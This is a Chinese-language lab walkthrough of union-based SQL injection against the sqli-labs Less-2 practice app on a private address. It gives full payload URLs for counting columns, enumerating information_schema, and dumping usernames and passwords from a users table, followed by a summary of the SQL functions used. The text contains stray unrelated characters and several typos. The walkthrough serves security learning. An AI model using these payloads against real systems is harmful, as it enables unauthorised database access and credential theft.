特別聲明:該文章只運(yùn)用于學(xué)習(xí)安全測試交流之用,請勿用于其他
第一步:確認(rèn)注入點(diǎn)類型
參數(shù)中輸入' # 仍有報(bào)錯(cuò)提示腹殿,推測可能存在注入點(diǎn)科阎,注入類型可能為"閉合的字符型或者整形
輸入" # 仍然存在報(bào)錯(cuò)排除"閉合的字符型注入碗淌,注入型為整型
第二步:猜測SQL查詢語句中的字段數(shù)
使用order by來判斷查詢語句中字段數(shù)掩完,輸入order by 4報(bào)錯(cuò),order by 3無報(bào)錯(cuò)說明查詢語句中有3個(gè)字段
構(gòu)造URL:http://192.168.109.35:5679/Less-2/?id=1 order by 4
第三步:確定顯示的字段順序
構(gòu)造URL:http://192.168.109.35:5679/Less-2/?id=122222222222222 union select 1,2,3
id傳入不存在的值充活,然后拼接union select 1,2,3可見頁面顯示的為最后兩個(gè)字段
第四步:獲取當(dāng)前數(shù)據(jù)庫
使用databse()函數(shù)獲取當(dāng)前數(shù)據(jù)庫名
構(gòu)造URL:http://192.168.109.35:5679/Less-2/?id=122222222222222 union select 1,2,database()
第五步:獲取數(shù)據(jù)庫中的表
利用group_concat() 函數(shù)拼接information_schema.tables表中table_name字段從而查詢出當(dāng)前數(shù)據(jù)庫中所有表
構(gòu)造URL:http://192.168.109.35:5679/Less-2/?id=122222222222222 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
第六步:獲取表中的字段名
構(gòu)造URL:http://192.168.109.35:5679/Less-2/?id=122222222222222 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
利用group_concat() 函數(shù)拼接information_schema.colums表中columb_name字段從而查詢users表中所有字段
第七步:下載數(shù)據(jù)
構(gòu)造URL:
http://192.168.109.35:5679/Less-2/?id=1222222222222 union select 1,group_concat(concat_ws("-",username,password)),3 from users #
知識(shí)點(diǎn)總結(jié):
1)MYSQL中存在一個(gè)information_schema庫蜂莉,其中包含schemata、tables混卵、conlums表映穗,通過獲取這些表中信息達(dá)到獲取敏感信息目的
-- information_schema.schemata 存儲(chǔ)MYSQL中所有的庫名
SELECT * FROM? nformation_schema.schemata;
-- information_schema.TABLES? 存儲(chǔ)MYSQL中所有的表名,TABLE_SCHEMA為庫名幕随,TABLE_NAME為表名
SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();
-- information_schema.COLUMNS? 存儲(chǔ)數(shù)據(jù)庫中MYSQL中所有的列表蚁滋,TABLE_SCHEMA為庫名,TABLE_NAME為表名,COLUMN_NAME為列表
SELECT *? FROM information_schema.COLUMNS WHERE table_name = 'users'
2)order by
排序赘淮,可以連接index辕录,實(shí)現(xiàn)按照都個(gè)字段排序的功能
3)gruop_concat
將所有查詢到的數(shù)據(jù)拼接在一起,注意拼接有長度限制
4)concat_ws
拼接查詢到的字段
5)union 聯(lián)合查詢拥知,為SQL注入常用手段